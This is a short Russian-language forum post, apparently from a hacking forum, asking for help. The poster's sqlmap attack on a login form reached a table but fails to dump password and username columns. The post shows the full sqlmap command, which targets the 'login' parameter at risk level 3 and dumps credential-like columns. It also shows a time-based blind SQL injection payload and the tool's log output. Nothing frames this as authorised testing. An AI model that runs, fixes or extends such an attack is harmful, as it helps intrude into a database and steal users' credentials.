Приветствую. подскажите что не дает далее базу размотать.
Database: mysql
Table: Organization
[18 columns]
+------------------+---------+
| Column | Type |
+------------------+---------+
| aa | numeric |
| auid | numeric |
| chromosome_id | numeric |
| e_postaadres | numeric |
| evadres | numeric |
| fjalekalimi | numeric |
| ip | numeric |
| isbn | numeric |
| lastpost | numeric |
| main_module | numeric |
| mot_de_passe_bdd | numeric |
| myname | numeric |
| namaakun | numeric |
| ordernumber | numeric |
| parola | numeric |
| plugin_id | numeric |
| s_id | numeric |
| usr_n | numeric |
+------------------+---------+
sqlmap -u "
https://10.10.10.10/index.php?action...ontroller=User" --host="site.test.com" --data="login=1'&password=g00dPa%24%24w0rD" --dbms=mysql -p login --risk 3 --random-agent -D mysql -T Organization -C mot_de_passe_bdd,parola,usr_n,s_id,e_postaadres,ip ,lastpost -v3 --dump
выкидывает;
[13:50:52] [PAYLOAD] 1' AND (SELECT 9734 FROM (SELECT(SLEEP(5-(IF(ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS NCHAR),0x20) FROM mysql.Organization),1,1))>9,0,5)))))yXMR)-- bIfc
[13:50:52] [INFO] retrieved:
[13:50:52] [DEBUG] performed 3 queries in 18.58 seconds
[13:50:52] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[13:50:52] [WARNING] unable to retrieve the number of column(s) 'e_postaadres,ip,lastpost,mot_de_passe_bdd,parola, s_id,usr_n' entries for table 'Organization' in database 'mysql'
[13:50:52] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/10.10.10.10'
[*] ending @ 13:50:52 /2021-03-22/
до таблиц дошел, а с колонками проблема . и подставлял --no-cast' or switch '--hex' идр.
Payload руками перебирать ,пока не сильно понимаю. прошу помощь